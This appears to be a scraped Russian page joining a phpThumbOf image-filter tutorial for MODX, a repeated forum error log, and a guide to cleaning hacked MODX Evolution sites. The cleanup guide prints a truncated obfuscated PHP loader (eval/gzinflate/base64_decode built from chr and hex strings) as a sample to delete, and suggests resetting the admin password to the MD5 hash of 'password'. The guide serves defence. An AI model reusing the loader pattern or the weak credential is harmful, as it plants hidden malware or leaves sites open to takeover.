Phpthumb modx evo не работает – Phpthumb заполнить белым фоном не достающую область в размере картинки / Вопросы / MODX.im

Работа с изображениями средствами phpThumbOf / Habr

phpThumbOf — это аддон для MODx, основанный на популярном скрипте phpThumb. Он позволяет модифицировать изображения средствами различных графических библиотек «на лету».

Я не буду описывать процесс установки аддона из репозитория. Будем считать, что вы уже скачали его и установили.

Причиной написания поста послужил тот факт, что официальная документация по phpThumbOf просто ужасна. Прочитав ман, я подумал, что единственной функцией, которую можно использовать для модификации изображения при его выводе является зум-кроп (zoom-crop), ибо больше там ничего не сказано. Но позже, попробовав использовать некоторые другие опции phpThumb я выяснил, что они прекрасно работают!

 

Анатомия phpThumbOf — фильтр вывода


Фильтр Вывода MODx-а позволяет прогнать значение элемента через любой набор фильтров непосредственно перед его выводом на страницу. Синтаксис выглядит следующим образом:
[[element:modifier=`value`]]

Первым и наиболее правильным способом использования phpThumbOf является именно Фильтра Вывода, который добавляется к TV-параметру типа «изображение».

Просто для полноты рассказа, я покажу, как добавить такой tv-параметр к шаблону.

Для начала, создайте новый tv-параметр и назовите его как сочтёте нужным. Мой вариант:

Далее, в закладке «Тип ввода» выберите «Изображение»:

Все, что нам осталось сделать, это указать способ вывода tv-параметра — ставим SRC.

Для экспериментов выберем какую-нибудь интересную картинку. Я нашёл себе такую:

Теперь, когда мы указали в каком-нибудь ресурсе выбранную нами куртинку в качестве значения созданного нами дополнительного параметра, его можно вывести в контенте ресурса с помощью конструкции:

<img src="[[*tvImage]]" />

Как я упоминал в начале статьи, выходной фильтр изменяет элемент до того, как он будет отрисован на странице. Передадим значение нашего tv-параметра выходному фильтру phpThumbOf:
[[*tvImage:phpthumbof=`w=120&h=120`]]
Ремарка: если мы выводим tv-параметр в шаблоне или чанке, то знак звездочка "*" нужно заменить на плюс "+": [[+tvImage:phpthumbof=`w=120&h=120`]]

В результате, мы получим новое сгенерированное изображение, основанное на той картинке, что мы выбрали для ресурса, но масштабированное до размеров 120х120 пикселей. Но как Вы могли заметить, у изображения появились белые поля, возникшие из-за нарушения пропорций исходного изображения.

Избежать этого можно очень просто, достаточно не указывать ширину или высоту. Давайте оставим только фиксированную ширину:

[[+tvImage:phpthumbof=`w=120`]]

Теперь результирующее изображение отмасштабировано только по заданной ширине, высота будет пропорциональной исходному соотношению сторон.

Как Вы можете видеть, возможности ресайза изображений безгранично гибки. Вот ещё один пример с шириной 270 пикселей. Кроме того, вы можете получать на выходе изображения больше оригинального, но это порочная практика ;).

[[*tvImage:phpthumbof=`w=270`]]

 

Обрезка изображения с точными размерами


Если мы хотим получить изображение с размерами именно 120 на 120 пикселей, мы можем его обрезать. Для этого, необходимо добавить опцию кропа (zoom-crop) &zc=1.
[[*tvImage:phpthumbof=`w=120&h=120
&zc=1
`]]

Теперь мы имеем обрезанную версию нашего изображения с точными размерами и без белых полей.

 

Фильтры PhpThumb — веселье только начинается


Теперь, когда вы знаете, как управлять размером изображения, я покажу вам реальную силу phpThumb — фильтры. Я просто приведу несколько примеров фильтров, доступных в phpThumb. Обратите внимание, что все новые фильтры я добавляю в конец предыдущих примеров. При этом, их позиция имеет значение! Фильтры применяются слева направо.

 

Blur (размытие)


[[*tvImage:phpthumbof=`w=120&h=120&zc=1&fltr[]=blur|10`]]

 

Grayscale (преобразование палитры в градации серого)


[[*tvImage:phpthumbof=`w=120&h=120&zc=1&fltr[]=gray`]]

 

Скругление углов


[[*tvImage:phpthumbof=`w=120&h=120&zc=1&fltr[]=ric|20|20`]]

Обратите внимание, что у изображения появились белые углы в тех местах, где изображение «скруглилось». Мы можем побороть эту проблему, преобразовав результирующее изображение в PNG-формат.

[[*tvImage:phpthumbof=`w=120&h=120&zc=1&f=png&fltr[]=ric|20|20`]]

 

Рамка


Периодически возникает необходимость добавить к изображению рамку. Конечно, это можно сделать средствами CSS. Но иногда возникают моменты, когда CSS бесполезен. Я хочу показать Вам один из таких примеров.
[[*tvImage:phpthumbof=`w=120&h=120&zc=1&f=png&fltr[]=bord|5|0|0|FFFFFF&fltr[]=rot|-15|E4F6FE`]]

 

Вращение изображения


Вращение требует небольшого пояснения. Вы должны указать цвет фона для неграфических области в углах. В этом примере мы используем #006699, вращение -45°.
[[*tvImage:phpthumbof=`w=120&h=120&zc=1&fltr[]=rot|-45|006699`]]

Если Вы хотите уменьшить количество JPG=артефактов, вы можете увеличить качество изображения (1-100):

[[*tvImage:phpthumbof=`w=120&h=120&zc=1&fltr[]=rot|-45|006699&q=100
`]]

Если Вы хотите получить прозрачный фон, просто измените вывод в PNG, как мы делали это раньше:

[[*tvImage:phpthumbof=`w=120&h=120&zc=1&fltr[]=rot|-45|&f=png`]]

 

Color Overlay (наложение цвета)


Данный фильтр позволяет накладывать любые шестнадцатеричные цвета на изображение. Первое значение — процент, второе — цвет в шестнадцатеричном формате.
[[*tvImage:phpthumbof=`w=120&h=120&zc=1&fltr[]=clr|35|990033`]]

Если Вы хотите получить двухцветное изображение, необходимо сначала наложить фильтр grayscale для обесцвечивания картинки.

[[*tvImage:phpthumbof=`w=120&h=120&zc=1&fltr[]=gray&fltr[]=clr|35|990033`]]

 

Простой текстовый водяной знак

С помощью phpThumb Вы можете накладывать на изображение текстовые и графические водяные знаки. В случае с текстовыми вотермарками Вы можете указать размер, положение, прозрачность и TTF-шрифт.

Вообще, доступных очень много. Рекомендую ознакомиться с документацией.

Вот простой водяной знак на основе стандартного шрифта сервера:

[[*tvImage:phpthumbof=`w=120&h=120&zc=1&fltr[]=gray&fltr[]=wmt|Belafonte Code|3|T|FFFFFF||100|20|0||0|`]]

 

Финиш


Вот, наверно, и все о чем я хотел рассказать. С бОльшим количеством примеров использования phpThumb вы можете ознакомиться на официальной странице проекта.

P.S. Хотел опубликовать в блог «MODx CMS», но как обычно бывает на хабре, не хватило кармы.
P.S.S. Перенес в «MODx CMS»

не работает phpThumbOf / Русскоязычное сообщество MODX

Всем привет. PhpThumpOf не обрабатывает картинку, отдает ее такой, какая она есть. Вот что пишет в лог, что-то я не могу врубиться, в чем дело.
edit phpThumb.config.php and (temporarily) set
$PHPTHUMB_CONFIG['disable_debug'] = false;
to view the details of this error in file "phpthumb.class.php" on line 4126
    [34] => SourceImageToGD() failed in file "phpthumb.class.php" on line 374
)

[2017-02-17 16:37:20] (ERROR @ /var/www/vhosts/domain/centrvet-modx/core/components/phpthumbof/model/phpthumbof/phpthumbof.class.php : 379) [phpThumbOf] Could not generate thumbnail: assets/img/doctors/1486043970.jpg - Debug: Array
(
    [0] => phpThumb() v1.7.14-201608101311 in file "phpthumb.class.php" on line 229
    [1] => setCacheDirectory() starting with config_cache_directory = "/var/www/vhosts/domain/centrvet-modx/core/cache/phpthumb/" in file "phpthumb.class.php" on line 1005
    [2] => setting config_cache_directory to $this->realPathSafe(/var/www/vhosts/domain/centrvet-modx/core/cache/phpthumb) = "/var/www/vhosts/domain/centrvet-modx/core/cache/phpthumb" in file "phpthumb.class.php" on line 1033
    [3] => setCacheDirectory() starting with config_cache_directory = "/var/www/vhosts/domain/centrvet-modx/assets/components/phpthumbof/cache/" in file "phpthumb.class.php" on line 1005
    [4] => setting config_cache_directory to $this->realPathSafe(/var/www/vhosts/domain/centrvet-modx/assets/components/phpthumbof/cache) = "/var/www/vhosts/domain/centrvet-modx/assets/components/phpthumbof/cache" in file "phpthumb.class.php" on line 1033
    [5] => setSourceFilename(assets/img/doctors/1486043970.jpg) set $this->sourceFilename to "assets/img/doctors/1486043970.jpg" in file "phpthumb.class.php" on line 294
    [6] => CleanUpCacheDirectory() set to purge (30.0 days; 100.00 MB; 10,000 files) in file "phpthumb.class.php" on line 712
    [7] => CleanUpCacheDirectory() skipped because "/var/www/vhosts/domain/centrvet-modx/assets/components/phpthumbof/cache/phpThumbCacheStats.txt" is recently modified in file "phpthumb.class.php" on line 722
    [8] => $AvailableImageOutputFormats = array(text;ico;bmp;wbmp;gif;png;jpeg) in file "phpthumb.class.php" on line 969
    [9] => $this->thumbnailFormat set to $this->config_output_format "jpeg" in file "phpthumb.class.php" on line 980
    [10] => $this->thumbnailFormat set to $this->f "jpeg" in file "phpthumb.class.php" on line 987
    [11] => $this->thumbnailQuality set to "75" in file "phpthumb.class.php" on line 997
    [12] => $this->sourceFilename set to "/var/www/vhosts/domain/centrvet-modx/centrvet-modx/assets/img/doctors/1486043970.jpg" in file "phpthumb.class.php" on line 894
    [13] => phpThumb() v1.7.14-201608101311
http://phpthumb.sourceforge.net

Error messages disabled.

Атака на MODX Evolution и что с этим делать

За последний месяц было атаковано очень много сайтов на MODX Evolution и Clipper. В сообществе то и дело возникают вопросы, связанные с симптомами этого заражения, посему набросал, небольшой мануал.

Итак, симптомы


  • Не происходит переходов по ссылкам в меню сайта
  • Не открывается главная страница
  • Не открывается админка
  • Хостер пишет гневные письма о массовой рассылке СПАМа с Вашего аккаунта и отключает функцию mail()
  • В файловой структуре сайта присутствует множество левых файлов и директорий с непонятными названиями.

Причины

Переход по меню не происходит из-за измененного .htaccess. Сайт не открывается из-за измененного index.php, либо заблокированных антивирусом на хостинге системных файлов MODX. Та же причина неработающей админки. СПАМ рассылается вредоносными скриптами, разбросанными по всему сайту.

Инструментарий

Во-первых, потребуется доступ по FTP, а лучше по SSH. Удобно использовать клиент WinSCP, поскольку в нем легко архивировать, искать, менять права и т. д.
Во-вторых, нужен доступ к базе данных. Можно посредством phpMyAdmin, можно, если хостинг позволяет, локальными методами — не важно.
В-третьих, понадобится антивирус. Я использую Айболит под Win, но можно и что-нибудь другое.

Бэкап

Первым делом создаем резервные копии файловой системы и базы сайта.
Поскольку эта зараза иногда меняет права доступа к файлам (да и многие хостеры тоже их ограничивают при подозрении на заражение), то сперва задаем всем директориям права 0755, а файлам 0644. Если на хостинге есть файловый менеджер, который позволяет это делать, то делаем через него, если нет, то используем FTP или SSH. Второе предпочтительнее, поскольку просто на порядок быстрее.
Команды (в WinSCP жмем Ctrl+T, вводим команду и «Выполнить» ):
Для директорий:
find путь_до_сайта_от_корня -type d -exec chmod 0755 {} \;

Для файлов:
find путь_до_сайта_от_корня -type f -exec chmod 0644 {} \;

Путь можно скопировать в буфер, зайдя в папку сайта и нажав Ctrl+].
Теперь (для SSH) выделяем всё и в контекстном меню выбираем «Файловые пользовательские команды -> Tar/GZip». Создаем архив и скачиваем на компьютер.
Если доступ есть только по FTP, попробуйте также посредством WinSCP запаковать сайт через «Файловые пользовательские команды -> ZIP and Upload». Это дольше нежели Tar, но тоже работает.
Ну и, естественно, можно воспользоваться файловым менеджером хостинга. Как правило, на всех современных площадках функция архивирования есть.

Базу бэкапим с хостинга через тот же phpMyAdmin посредством экспорта. Если админка сайта работает, то можно сделать бэкап через меню Инструменты -> Резервное копирование.

Лечение

Скачиваем Айболит и устанавливаем его на компьютер. Распаковываем файлы сайта в директорию site и запускаем файл start.bat из корневой директории антивируса. Можно запустить start_paranoic.bat, но он там частенько ругается на нормальные файлы MODX.
После проверки открываем файл отчета, офигеваем смотрим список инфицированных файлов, проверяем КАЖДЫЙ и в случае, если файл «левый», просто удаляем, если «свой», но инфицированный, вырезаем чужую вставку.
Как отличить левый или нет. Если в файле только чушь типа:
<?php $oj4228 = "p9;/.5un8xihqoatw2407*e)sf3clbg_k(mjyz6vdr1";$eSkIOV6240 = $oj4228[0].$oj4228[41].$oj4228[22].$oj4228[30].$oj4228[31].$oj4228[41].$oj4228[22].$oj4228[0].$oj4228[28].$oj4228[14].$oj4228[27].$oj4228[22];$mGESa4160 = "".chr(101)."\x76\x61\x6C\x28g".chr(122)."infla\x74\x65\x28".chr(98)."\x61\x73".chr(101)."64".chr(95)."".chr(100)."e".chr(99)."o".chr(100)."".chr(101)."\x28";$mRu8302 = ")\x29\x29;";$pmVy3804 = $mGESa4160."'XZxnr7xed55fx5K/g/WPpScJjulNVl4MvcPQQZYs6tB7//ThFztK5COhOQc2sNl7rXtd98DhH5N9q/5tStb1H/7XP/xVogiG5FmG0wmVY3lCQhBCIiWEpRiKIjn017/8/d/9YzZ24/Kn9X/NS/yvf/kv78+7Ni/KZO+2f0uyrR6Hd/PfhLorVj0Z/vafm+xr8W9Jk1xvo23Zi/+8OauSZS22P4cI6iEfz/V/wggO/9/DTEvx+7elmLokK/7bX+A//w+w+Ouf/vrXi8D/9SKJ9xN+F/ZfL4R6P8l33ef9pN+Ffxfi37f9aUNi/77P/2mH/Mc69N/X..........................

то смело его удаляем. Если, промотав до конца этой ерунды, увидим закрывающий тег PHP, за ним вновь открывающий и начало нормального кода:
<?php
//тут чушь
?>  <?php
/*
german.inc.php - for AjaxSearch 1.10.1
Created by: Marc Hinse
Last Modified on 2014-12-09
Description: Language strings for AjaxSearch
*/
$_lang['as_resultsIntroFailur
...............

То это файл нужный. Просто убиваем все, что до нормального кода и так потихоньку вычищаем эти авгиевы конюшни.
Тут два подхода — первый чистить на локальной машине, а потом залить на сервер, второй — чистить сразу на сервере. Я рекомендую второй — оно быстрее.

После того как все файлы почищены, нужно проверить, нет ли на сайте хитрого плагина, который вновь заразит нам всё на свете.
Для этого в phpMyAdmin открываем таблицу modx_site_plugins (префикс таблицы может быть другим) и ищем в в поле plugincode текст:

base64_

Почему бы не поискать в дампе базы? Можно, но как-то раз столкнулся с тем, что там ничего не было:

в коде самого плагина тоже пусто:

А в базе есть (!):

В общем, удаляем дрянь.

Скачиваем свежий дистрибутив от Dmi3yy, восстанавливаем оттуда два файла: .htaccess и index.php, удаляем из директории acess/cache файл siteCache.idx.php и пробуем запустить сайт.
Если получилось, то открываем вновь созданный siteCache.idx.php и пробегаемся поиском на предмет того самого base64_. Если чисто, то злодей из плагинов удален и можно переходить к следующему этапу. Если нет, то снова лезем в базу и ищем негодяя.

Обновление

Если этого не сделать, то через неделю ваш сайтик снова будет поражен заразой и все придется начинать по новой.
Итак, снова бекапимся (базу и файлы). Заливаем, скачанный ранее, дистрибутив на сервер, распаковываем и запускаем site.ru/install/
Пробуем открыть админку и т. д. Если все ОК идем в Модули -> Extras и обязательно обновляем всякие MultiPhotos, PHx и т. д., если их используете (основные компоненты обновятся автоматически при установке).
Если не запустилось, то проверяем это, чистим кеш, смотрим логи ошибок и т. д.

Подводные камни при обновлении

Из того, с чем сталкивался чаще всего.

Не пускает в админку.

Лезем в базу в таблицу modx_manager_users, прописываем админу в поле password такой хеш:
5f4dcc3b5aa765d61d8327deb882cf99
и используем слово password в качестве пароля — потом только не забудьте поменять)).

Не работает галерея easy2

Открываем config.inc.php и меняем в 5 строке mysqli на просто mysql, чистим кеш, пробуем работать

При обновлении Clipper

Нужно убить сниппет List и везде на сайте (в чанках и шаблонах) поменять его вызовы на Ditto.
Вообще, при всех глюках первым делом смотрим есть ли в Extras обновление того или иного компонента. Обновляемся, проверяем.

В общем, после всех этих телодвижений у вас будет новый сайт безо всякой заразы. Делайте бекап и спите спокойно )

не работает phpThumbOf / Русскоязычное сообщество MODX

Всем привет. PhpThumpOf не обрабатывает картинку, отдает ее такой, какая она есть. Вот что пишет в лог, что-то я не могу врубиться, в чем дело.
edit phpThumb.config.php and (temporarily) set
$PHPTHUMB_CONFIG['disable_debug'] = false;
to view the details of this error in file "phpthumb.class.php" on line 4126
    [34] => SourceImageToGD() failed in file "phpthumb.class.php" on line 374
)

[2017-02-17 16:37:20] (ERROR @ /var/www/vhosts/domain/centrvet-modx/core/components/phpthumbof/model/phpthumbof/phpthumbof.class.php : 379) [phpThumbOf] Could not generate thumbnail: assets/img/doctors/1486043970.jpg - Debug: Array
(
    [0] => phpThumb() v1.7.14-201608101311 in file "phpthumb.class.php" on line 229
    [1] => setCacheDirectory() starting with config_cache_directory = "/var/www/vhosts/domain/centrvet-modx/core/cache/phpthumb/" in file "phpthumb.class.php" on line 1005
    [2] => setting config_cache_directory to $this->realPathSafe(/var/www/vhosts/domain/centrvet-modx/core/cache/phpthumb) = "/var/www/vhosts/domain/centrvet-modx/core/cache/phpthumb" in file "phpthumb.class.php" on line 1033
    [3] => setCacheDirectory() starting with config_cache_directory = "/var/www/vhosts/domain/centrvet-modx/assets/components/phpthumbof/cache/" in file "phpthumb.class.php" on line 1005
    [4] => setting config_cache_directory to $this->realPathSafe(/var/www/vhosts/domain/centrvet-modx/assets/components/phpthumbof/cache) = "/var/www/vhosts/domain/centrvet-modx/assets/components/phpthumbof/cache" in file "phpthumb.class.php" on line 1033
    [5] => setSourceFilename(assets/img/doctors/1486043970.jpg) set $this->sourceFilename to "assets/img/doctors/1486043970.jpg" in file "phpthumb.class.php" on line 294
    [6] => CleanUpCacheDirectory() set to purge (30.0 days; 100.00 MB; 10,000 files) in file "phpthumb.class.php" on line 712
    [7] => CleanUpCacheDirectory() skipped because "/var/www/vhosts/domain/centrvet-modx/assets/components/phpthumbof/cache/phpThumbCacheStats.txt" is recently modified in file "phpthumb.class.php" on line 722
    [8] => $AvailableImageOutputFormats = array(text;ico;bmp;wbmp;gif;png;jpeg) in file "phpthumb.class.php" on line 969
    [9] => $this->thumbnailFormat set to $this->config_output_format "jpeg" in file "phpthumb.class.php" on line 980
    [10] => $this->thumbnailFormat set to $this->f "jpeg" in file "phpthumb.class.php" on line 987
    [11] => $this->thumbnailQuality set to "75" in file "phpthumb.class.php" on line 997
    [12] => $this->sourceFilename set to "/var/www/vhosts/domain/centrvet-modx/centrvet-modx/assets/img/doctors/1486043970.jpg" in file "phpthumb.class.php" on line 894
    [13] => phpThumb() v1.7.14-201608101311
http://phpthumb.sourceforge.net

Error messages disabled.

Отправить ответ

avatar
  Подписаться  
Уведомление о